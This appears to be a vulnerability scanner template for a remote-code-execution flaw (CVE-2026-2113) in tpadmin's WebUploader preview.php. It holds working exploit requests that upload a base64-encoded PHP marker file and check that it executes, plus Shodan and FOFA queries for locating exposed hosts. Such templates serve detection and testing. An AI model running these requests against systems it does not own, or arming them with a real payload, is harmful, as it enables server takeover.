tpadmin <= 1.3.12 - Remote Code Execution

id: CVE-2026-2113

info:
  name: tpadmin <= 1.3.12 - Remote Code Execution
  author: jankesec
  severity: critical
  description: |
    yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.
  impact: |
    Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
  remediation: |
    Delete or restrict access to the preview.php script or upgrade to a patched version.
  reference:
    - https://github.com/yuan1994/tpadmin
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2113
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-2113
    epss-score: 0.00574
    epss-percentile: 0.45494
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    vendor: yuan1994
    product: tpadmin
    shodan-query: http.html:"tpadmin"
    fofa-query: body="tpadmin"
  tags: cve,cve2026,tpadmin,rce,file-upload,webuploader,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

      - |
        POST /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - '"jsonrpc"'
          - 'preview/'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: preview_path
        part: body
        group: 1
        internal: true
        regex:
          - '"result" : "https?://[^/"]+(/[^"]+\.php)"'

  - raw:
      - |
        GET {{preview_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "8d545c3577fdfbf5ae9e254ca893a0ef"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047b026d8c6b136ce2a0af58ce4e82cbe23ea20c4d00b969762a7e81e3a1f5a5e0221008edb14f33faf04abbe661481e0a06421977cdab54697e8fc7657f79021304a45:922c64590222798bb761d5b6d8e72950